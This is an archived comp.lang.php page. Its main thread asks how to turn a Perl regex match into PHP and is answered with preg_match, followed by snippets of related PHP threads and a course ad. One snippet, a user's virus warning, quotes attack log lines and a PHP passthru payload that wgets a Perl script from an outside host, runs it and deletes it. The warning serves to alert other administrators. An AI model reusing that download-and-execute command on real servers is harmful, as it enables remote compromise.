f



Converting PERL regular expression to PHP?

Hi, I'm in the process of converting some PERL to PHP.  Thus, is it
possible to leave the following line as is:

 if ($id =~ /vvvvv/g) {

    ...

 }

If not, can someone provide PHP equivalent?  BTW, I have checked the
syntax using 'php -l' because I'm not an expert of PERL but I'm using
various references to do the conversion.  However, I was able to locate
this particular construct.

Thanks in advance,

-Conrad

0
conradwt (20)
9/28/2005 12:17:24 AM
comp.lang.php 32646 articles. 0 followers. Post Follow

2 Replies
575 Views

Similar Articles

[PageSpeed] 25

Hi, the last couple of sentences should read:

If not, can someone provide PHP equivalent?  BTW, I have checked the
syntax using 'php -l'.  Also, I'm not an expert of PERL but I'm using
various references to do the conversion.  However, I wasn't able to
locate
this particular construct.

Thanks again,

-Conrad

0
conradwt (20)
9/28/2005 12:21:41 AM
Am Dienstag, den 27.09.2005, 17:17 -0700 schrieb Con:
> Hi, I'm in the process of converting some PERL to PHP.  Thus, is it
> possible to leave the following line as is:
> 
>  if ($id =~ /vvvvv/g) {

The php equivalent is

	if(preg_match('/vvvvv/', $id)) {

I'm quite sure that you won't need the "g".

See
http://www.php.net/manual/en/function.preg-match.php

Best regards

Sven
-- 
Sven Lauritzen
--------------------------------------------------------------------
mailto: the minus pulse at gmx dot net

pub 1024D/95C9A892                  sub 1024g/D30E490F ABCDEFGHIJKLM
Fp  2FA9 FC9B 078C 5BC7 87DC  0B0D 2329 94F6 95C9 A892 NOPQRSTUVWXYZ
--------------------------------------------------------------------

0
the-pulse (1)
9/28/2005 2:36:53 AM
Reply:

Similar Artilces:

PHP regular expressions
Hello, I am writing an elearning software with php. I need a script to recognize any inut of the type ab,aabb,aaabbb,aaaabbbb..... And so on. Could anyone tell me how can I do this using regular expressions? Regards, Albert Achtenberg Albert <albert@arbel-designs.com> wrote: > I am writing an elearning software with php. I need a script to > recognize any inut of the type ab,aabb,aaabbb,aaaabbbb..... And so on. > Could anyone tell me how can I do this using regular expressions? So basically you need a regexp tutorial. I don't know any but studing http://nl.php.net/manual...

PHP Training Institute In Delhi, Live Projects on PHP. Short Term PHP Courses, PHP Scripts, PHP Training with Live Projects.
Vserve Global offers short term PHP: Hypertext Preprocessor Training Course, which is a widely used, general-purpose scripting language that was originally designed for web development, to produce dynamic web pages. It can be embedded into HTML and generally runs on a web server, which needs to be configured to process PHP code and create web page content from it. It can be deployed on most web servers and on almost every operating system and platform free of charge.PHP is installed on over 20 million websites and 1 million web servers. TOPICS:- >> Core PHP Language >> HTML, Cascad...

Question on PHP regular expressions
In PHP I have many more options for functions that do regular expression than I did in Perl. My question is what is the best one to use for doing the following: Give the following: {Somestring.somestring.somestring} blah blah {somestring} value here not used {more.text.here} I want an array like the following: [0] => Somestring.somestring.somestring [1] => somestring [2] => more.text.here So basically I just want to capture the contents (alpha-numeric + periods) inside of curly braces. Thanks for any help. sberry <sean@buildingonline.com> writes: > In PHP I have many more options for functions that do regular > expression than I did in Perl. My question is what is the best one to > use for doing the following: > > Give the following: > {Somestring.somestring.somestring} blah blah {somestring} value here > not used {more.text.here} > > I want an array like the following: > [0] => Somestring.somestring.somestring > [1] => somestring > [2] => more.text.here > > So basically I just want to capture the contents (alpha-numeric + > periods) inside of curly braces. > > Thanks for any help. This should get you started: $string = "{Somestring.somestring.somestring} blah blah {somestring} value here not used {more.text.here}"; $pattern = '/\{.+?\}/'; preg_match_all($pattern, $string, $matches); print_r($matches); Hope that helps, On Nov 8, 11:17 am, Carl <c.gro...@gmail.com>...

PHP within PHP...
I took over the support of a website that is set up something like this inside one of the pages: include_once("header.php"); <?php //to get the content of the page they do this: $content = mysql_query("select content etc...); echo $content; ?> include_once("footer.php"); I am having problems evaluating any php that is used in the mysql content. Is there a way to get the mysql withing the mysql to run? Thank you for your time, Mandragon On Sep 17, 12:56 pm, Mandrago...@gmail.com wrote: > I took over the support of a website that is set up something like > this inside one of the pages: > > include_once("header.php"); > > <?php > //to get the content of the page they do this: > $content = mysql_query("select content etc...); > > echo $content; > ?> > > include_once("footer.php"); > > I am having problems evaluating any php that is used in the mysql > content. Is there a way to get the mysql withing the mysql to run? > > Thank you for your time, > > Mandragon Sorry, The question should read: "Is there a way to get the php withing the echo $htmlcontent to run?" Of course you are, $content is a resource. The MySQL Query resource. try this: $content = mysql_query('bla bla bla'); while ($row = mysql_fetch_assoc($content)) { $result[] = $row; } $content = $result; Now you can use $content ;). In answer to your edit... eval($co...

php outside php (?)
Sounds weird, i know. What i want/wonder is the following: PHP can do the next: <?php if($foo == 'bar') { ?> Ow yeah, foo is bar! <?php }; ?> But how can i do the following: <?php $foo= ?> this is what foo looks like. <?php }; ?> This way i could edit the content of $foo in DW's design-view. I hope it's clear enough for you all to understand... Greetings frizzle. frizzle wrote: > But how can i do the following: > > <?php > > $foo= > > ?> > this is what foo looks like. > <?php > > }; > > ?> > > This way i could edit the content of $foo in DW's design-view. > I hope it's clear enough for you all to understand... <?php ob_start(); ?> this is what foo looks like. <?php $foo=ob_get_clean(); ?> -- Justin Koivisto - justin@koivi.com http://koivi.com Wow, little late on the reply, but i still wanted to thank you for your help. This is exactly what i meant, and it works great! :D Thanks again. ...

php to php obj
Hi All, Is there any tool to convert the .php files into its object files in deploying the files to other's server like java classes are deployed? Thanks in advance --AR John7481 <arjohn7481@hotmail.com> wrote or quoted: > Is there any tool to convert the .php files into its object files in > deploying the files to other's server like java classes are deployed? To what end? Do you want a PHP obfuscator? They tend not to be needed - since the code remains on the server. Do you want a PHP squeezer? Again - since PHP remains on the server that is of reduced importance. PHP obfuscators and squeezers are out there - but what exactly are you looking for? -- __________ |im |yler http://timtyler.org/ tim@tt1lock.org Remove lock to reply. With total disregard for any kind of safety measures Tim Tyler <tim@tt1lock.org> leapt forth and uttered: > John7481 <arjohn7481@hotmail.com> wrote or quoted: > >> Is there any tool to convert the .php files into its object >> files in deploying the files to other's server like java >> classes are deployed? > > To what end? > > Do you want a PHP obfuscator? They tend not to be needed - > since the code remains on the server. > > Do you want a PHP squeezer? Again - since PHP remains on the > server that is of reduced importance. > > PHP obfuscators and squeezers are out there - but what exactly > are you looking for? I think he'...

PHP and regular expressions #2
Hi, I'm new to this group and regular expressions. I want to extract text from a newspaper website using regular expressions and php I'm using this regular expression at the moment $regexp = "%<table cellspacing=\"0\" cellpadding=\"0\"> (.+) <img height=\"1\" alt=\"Today's News\" />%s"; Each news story is in between those tags , So if I extract those chunks of html using preg_match($regexp,$document,$matches); where $document is a handle on the file. I can store them in %matches for further processing. Alas it does not work and i cannot figure out why Can anyone help? Thanks __where $document is a handle on the file__ the 2nd parameter should be a string read the file to a string... Do you really want the space around "(.+)" ? you can clean this up by enclosing it in '' rather than "" $regexp = '%<table cellspacing="0" cellpadding="0"> (.+) <img height="1" alt="Today's News" />%s'; On Feb 28, 12:03 pm, "Damo" <cormacdeba...@gmail.com> wrote: > Hi, > I'm new to this group and regular expressions. I want to extract text > from a newspaper website using regular expressions and php > I'm using this regular expression at the moment > > $regexp = "%<table cellspacing=\"0\" cellpadding=\"0\"> (.+) <img > height=\"1\" alt=...

C++ regular expression Vs. Perl regular Expression
Hi all, In Perl the RegExpr is very good use, it allows programmer to do everything they want to do, start from simple text file to a large programm parsing user input. However, I never come across C++ regular expression that able to do what perlist can do???? Thank. [ See http://www.gotw.ca/resources/clcm.htm for info about ] [ comp.lang.c++.moderated. First time posters: Do this! ] "phal" <betterdie@gmail.com> writes: > Hi all, > > In Perl the RegExpr is very good use, it allows programmer to do > everything they want to do, start from simpl...

Help me with a regular expression for PHP
I have no idea where to get help on RE stuff. Since it's for a PHP app I thought I would ask here to see if there was some RE pros. Basically I'm doing some template stuff and I wanted to use a preg_replace_callback function to call another function when the criteria of the RE expression is matched but have no idea how to accomplish it. So I start with this: /<(input|select|textarea)[^>]*name\s*\=\s*\"[_a-zA-Z0-9\s]*\"[^>]*>/ but need to modify it so it only matches if it has '{' characters in the name but to not match if it does not. So this would not match: <input name="test"> But this would match: <input name="test{0}"> Thanks much in advance. cendrizzi wrote: > So I start with this: > /<(input|select|textarea)[^>]*name\s*\=\s*\"[_a-zA-Z0-9\s]*\"[^>]*>/ You'd better not use regular expressions to validate HTML. The following line is perfectly valid HTML (I think in any version) <input type="text" name="x><y" id="xy"> > but need to modify it so it only matches if it has '{' characters in > the name but to not match if it does not. > > So this would not match: > <input name="test"> > > But this would match: > <input name="test{0}"> Get the name. Verify it has '{' and '}' (in that order and once only?) <?php $name = get_name(&#...

I need help in Regular Expression in PHP
Hi Everyone, How can I get all the values which are between Name tags as follows: <emp> <name>N1</name> <age>1</age> <name>N2</name> <age>2</age> <name>N3</name> <age>3</age> <name>N4</name> <age>4</age> </emp> Regards Zeeshan ...

PhpWiki to Mediawiki converter in php or perl?
Hi, I'm looknig for advice / inspiration / modules / libraries, that could help. I'm a little more fluent in perl, but a php solution would also be fine. I'm having two Wiki servers: Server1: - phpwiki with user authentication - direct access to the mysql data base possible - contains about 400 entries Server1: - MediaWiki (Wikipedia is Mediawiki based) with user authentification - direct access to the mysql data base possible - contains about 30 entries I'd like to copy over about 350 entries from Server1 to Server2(I could apply a filter rule or semiautomatically create a list with entries to copy As the amount of entries is low I don't really need an optimized solution. Entries in server 2 can be overwritten. I wanted to have your advice: 1.) Is there already something similiar, that exists? 2.) Is there a Wikiadmin focused news group (I don't like mailing lists and web based forums, as you have to create a noew account for most of them or to increase your spam rate even more) ? If not: I know very little about the wiki internals and was thinking about a 'brute force' method, not knowing if something better exists: The idea: 1.) get all the entries from the phpWiki via mysql ( from table "wiki" ) 2.) fix naming style (my phpwiki entries contain spaces) 3.) replace the phpWiki syntax with Mediawiki syntax (I found url with some sed rules, which are probably incomplete, but could be a goiod starting point) and ...

Javascript to HTML or PHP or Perl converter
I need to access web sites using my scripts written in Perl. I use lynx and elinks to access web pages. It works fine, unless the pages has some Javascript code. Most Javascript stuff is working under lynx and elinks, but some doesn't. Is there any converter from javascript to HTML or PHP or PERL? Is there any ASCII web browser that fully supports Javascript. Thanks oleg_orel@yahoo.com wrote: > I need to access web sites using my scripts written in Perl. I use lynx > and elinks to access web pages. It works fine, unless the pages has > some Javascript code. Most Javascript s...

PhpWiki to Mediawiki converter in php or perl?
Hi, I'm looknig for advice / inspiration / modules / libraries, that could help. I'm a little more fluent in perl, but a php solution would also be fine. I'm having two Wiki servers: Server1: - phpwiki with user authentication - direct access to the mysql data base possible - contains about 400 entries Server1: - MediaWiki (Wikipedia is Mediawiki based) with user authentification - direct access to the mysql data base possible - contains about 30 entries I'd like to copy over about 350 entries from Server1 to Server2(I could apply a filter rule or semiautomatically c...

Regular expression example on PHP.net
Howdy folks, On this page at php.net http://www.php.net/features.http-auth there's a regular expression in Example 34.2. It's supposed to parse out the different values being passed in the header. I know what it's supposed to do, so I have a vague idea of what's being done in the RE, but I've been having a heck of a time figuring out what each part of the RE is actually doing. Here's what I have so far: preg_match_all('@(\w+)=(?:([\'"])([^\2]+)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER); //'@ //(\w+) Any word character (letter/digit/_), 1 or more //= Equal sign //(?: This submatch will not be captured (still available for later matching) //([\'"]) A single or double quote //([^\2]+) Not start of text (STX)?, 1 or more //\2| //([^\s,]+) Not whitespace or comma, 1 or more //) //@' I'm unclear as to what the second \2 does, as well as which parts the OR applies to. And what are the @s for? Thanks for any help, ZF -- Posted via a free Usenet account from http://www.teranews.com On Fri, 07 Sep 2007 08:02:07 +0200, Zenofobe <fake_email@fake_domain.com= > = wrote: > Howdy folks, > > On this page at php.net > http://www.php.net/features.http-auth > there's a regular expression in Example 34.2. It's supposed to parse = out > the different values being passed in the header. I know what it's > supposed to do, so I have a vague i...

PHP/Perl/Unix Virus: delete config.php files asap
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - [30/Aug/2006:13:28:03 -0500] "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805" File spread.txt contains this: <? passthru('cd /tmp;wget http://domates.1gig.biz/tmr;perl tmr;rm -f tmr*'); pas...

a regular expression for detecting PHP commands in a template?
I'm away from my home computer, where I have a copy of RegEx Buddy that might let me figure this out on my own. I've edited the php.ini file on my server so PHP the only way to start a PHP tag is <?php I've got a system in place that keeps each PHP function in its own file, with the file having the same name as the function. Functions are only imported when they are needed. Before a template is evaluated, I've got a script that looks through it for every PHP command and imports it. The script can handle this: <h2>All weblog entries</h2> <?php showAllWeblogEntries(); ?> But I have been unable to think of the regex expression that would allow me to find PHP functions used as parameters to PHP functions. I don't know how to capture the parameter here: <?php makeThumbnailImage(showCurrentImage()); ?> Any ideas? ...

Regular Expression for replacing images through URLs in PHP
Hi! I want to replace images through URLs with the help of a regular expression. For example: <img src='http://xxxxx.net/photo/small.jpg'> should be replaced through: <a href='http://xxxxx.net/photo/small.jpg'>Link</a> Another problem are emoticons, which are also included as <img>. Therefore I would like to extend the upper regular expression that the image should only be replaced through an URL, if the src attribute of the img tag does not start with "/modules/emoticons/". Thanks in advance, Markus On Tue, 19 Jul 2005 10:31:30 +0200, Markus Wallner wrote: > Thanks in advance, Your welcome. Have you actually *tried* anything yet? You have no sample code. I won't help you until I see what you've tried. nyah nyah n-nyah nyah. -- JDS | jeffrey@example.invalid | http://www.newtnotes.com DJMBS | http://newtnotes.com/doctor-jeff-master-brainsurgeon/ ...

I need help in Regular Expression in PHP #2
Hi Everyone, How can I get all the values which are between Name tags as follows: <emp> <name>N1</name> <age>1</age> <name>N2</name> <age>2</age> <name>N3</name> <age>3</age> <name>N4</name> <age>4</age> </emp> Regards Zeeshan > Hi Everyone, > > How can I get all the values which are between Name tags as follows: > > <emp> > <name>N1</name> > <age>1</age> > > <name>N2</name> > <age>2</age> > > <name>N3</name> > <age>3</age> > > <name>N4</name> > <age>4</age> > > > </emp> > > > > > Regards > Zeeshan > preg_match("/<name>.+?<\/name>/sim", $HTML, $matches); Ivan Omelchenko 608308824 пишет: >> Hi Everyone, >> >> How can I get all the values which are between Name tags as follows: >> >> <emp> >> <name>N1</name> >> <age>1</age> >> >> <name>N2</name> >> <age>2</age> >> >> <name>N3</name> >> <age>3</age> >> >> <name>N4</name> >> <age>4</age> >> >> >> </emp> >> >> >> >> >> R...

Best PHP Training | PHP Development Training | PHP Training Institute
Tops Technologies provides php and mysql certification courses in ahmedabad, baroda, surat, Rajkot, Udaipur, Gujarat, india.PHP Training with MySQL is an introductory course in the PHP and MySQL technology. Mysql and php training course, php for beginners, sql training courses, PHP Training courses, php courses, mysql training courses, php mysql course. For More Details :- http://www.tops-int.com ...

Using preg_replace to convert '<?php*?>' to nothing (removing all PHP code)
Hi, I am trying to use preg_replace to take out all occurances of PHP code after reading (fread()) the contents of a PHP file. The code I am using is: $html = preg_replace("<?php*?>", "", $html); Unfortuntely it is not working and giving the following error: Warning: preg_replace(): Nothing to repeat for offset 0 in C:/apache/... Can someone please try this out and see what they get. How can I get this to work? Cheers Burnsy On 2 Sep 2005 13:57:49 -0700, bissatch@yahoo.co.uk wrote: >I am trying to use preg_replace to take out all occurances of PHP code >after reading (fread()) the contents of a PHP file. The code I am using >is: > >$html = preg_replace("<?php*?>", "", $html); OK, what do you think that expression should match, and why? -- Andy Hassall :: andy@andyh.co.uk :: http://www.andyh.co.uk http://www.andyhsoftware.co.uk/space :: disk and FTP usage analysis tool Do you get the same error if you switch out <?php*?> with something simple, as a test? > $html = preg_replace("<?php*?>", "", $html); To my basic knowledge, that expression should match a string with '<?php' at the start, and '?>' at the end with any collection of characters inbetween (represented by the asterix - * - character). > Do you get the same error if you switch out <?php*?> with something simple, as a test? I did try and switch the '<?php*?>...

php regular expression doesn't match
Hi PHP's regular expression look like doesn't support .*? syntax. So i cannot match the shortest match. For exmaple: $str="a1b a3b"; $str1=ereg_replace("a.*b", "peter", $str1); will produce "peter", but i want "peter peter", so how to? thanks from Peter (cmk128@hotmail.com) cmk128@hotmail.com wrote: > Hi Hi, > PHP's regular expression look like doesn't support .*? syntax. So i > cannot match the shortest match. For exmaple: > > $str="a1b a3b"; Typo. That was $str1="a1b a3b" I expect. > $str1=ereg_replace("a.*b", "peter", $str1); > will produce "peter", but i want "peter peter", so how to? > Yes, * is greedy. I do not know your real-world example, but maybe using a wordboundary can solve your problem? eg: $str1=ereg_replace("/a.*b\b/", "peter", $str1); > thanks > from Peter (cmk128@hotmail.com) > Regards, Erwin Moller Erwin Moller wrote: > cmk128@hotmail.com wrote: >> Hi > > Hi, > >> PHP's regular expression look like doesn't support .*? syntax. So i >> cannot match the shortest match. For exmaple: >> >> $str="a1b a3b"; > > Typo. That was $str1="a1b a3b" I expect. > >> $str1=ereg_replace("a.*b", "peter", $str1); >> will produce "peter", but i want "p...

php://memory and php://temp
http://php.net/manual/en/wrappers.php.php per the documentation: php://memory and php://temp are both listed under "Allows Appending" what am I missing / what's the point? They only seem to work with read/write modes such as fopen('php://memory','rw'); closing the handle, or trying to open another handle without closing the first essentially erase the contents... so what's the point of fopen('php://memory','a') ? you'll a) be appending nothing, b) no way to read what you just wrote? sure would be nice if you could $fh = fopen('php://memory', 'w'); fwrite($fh, 'test string'); fclose($fh); $fh = fopen('php://memory', 'r'); $result = fgets($fh,2048); fclose($fh); echo $result; On 10/12/2010 9:44 PM, BKDotCom wrote: > http://php.net/manual/en/wrappers.php.php > per the documentation: php://memory and php://temp are both listed > under "Allows Appending" > > what am I missing / what's the point? > > They only seem to work with read/write modes such as > fopen('php://memory','rw'); > > closing the handle, or trying to open another handle without closing > the first essentially erase the contents... so what's the point of > fopen('php://memory','a') ? > you'll > a) be appending nothing, > b) no way to read what you just wrote? > > sure would be nice if you could > > $fh = ...

perl or php
hi everyone, given I have a choice in a new company if we will use mysql together with either perl or php does anyone have any thoughts which we should go for? pros of perl: looks cleaner: is closer to unix scripting any reason to go for php? any advice would be much appreciated TIA eddiec :-) "eddiec" <chalk@no.spam.netspace.net.au> wrote in message news:dfk170$2pi0$1@otis.netspace.net.au... > hi everyone, > > given I have a choice in a new company if we will use mysql together with > either perl or php does anyone have any thoughts which we should go fo...

php notification through php sdk
Hi there I want to build a e-commerce website similar to wish.com and I have chosen opencast as my framework of choice. Now wish has a feature that when you save a product in wish and if you are logged in with Facebook or gmail all of your friends will get a notification that your friends has saved a item on wish. I want a similar feature on my site Now I know Facebook provide a sdk JavaScript and php and wish might be using something similar but I am using open cart can I open home page or product page in the sdk Thanks On 3/20/2015 7:30 AM, apoorv.kanungo@gmail.com wrote: &g...

Web resources about - Converting PERL regular expression to PHP? - comp.lang.php

PastBook’s Filepicker.io Integration Eases Process Of Converting Facebook Content To Books
PastBook , one of several companies that allow Facebook users to publish their content on the social network in actual books , announced the ...

Facebook No Longer Converting Groups Into Pages
Back when Facebook first launched Facebook Pages, many businesses and brands who had built up substantial audiences in their Facebook Groups ...

Zwartz Laminating-Converting B.V. on the App Store on iTunes
Get Zwartz Laminating-Converting B.V. on the App Store. See screenshots and ratings, and read customer reviews.


"Occupier" Thanked Former Soviet Citizen for "Converting" Him to Capitalism, Pro-Israel, Pro-USA - YouTube ...
May Day Demonstration on Union Square in New York City Zionism & Birth of Modern Israel in 1948: Former Soviet Citizen Pays Tribute to Ben-Gurion ...

Converting dry air to water: solution to Broken Hill's water crisis gains support
A one-man crusade by a Broken Hill resident to solve the historic town's water crisis by introducing air to water converters is gaining support. ...

Click go fears of converting print files
Is there a way to convert a print queue item to a .RTF or .PDF file? I like to save or email them. - The Sydney Morning Herald

Sudanese woman ordered to hang under sharia law for converting to Christianity gives birth
Khartoum, Sudan: A Christian Sudanese woman sentenced to hang for apostasy has given birth in jail, a Western diplomat said on Tuesday.

Imams warn against radicalism to Aboriginal inmates converting to Islam
The prison system has enlisted the help of ASIO to crack down on radicalisation behind bars amid revelations that Aboriginals are converting ...

Converting the world's companies one by one - The Science Show - ABC Radio National (Australian Broadcasting ...
Image: Trucks carrying logs make their way up a road in Jambi, Indonesia. A vast area of the Sumatran forest, and orangutan habitat, is being ...

Resources last updated: 3/24/2016 12:46:50 AM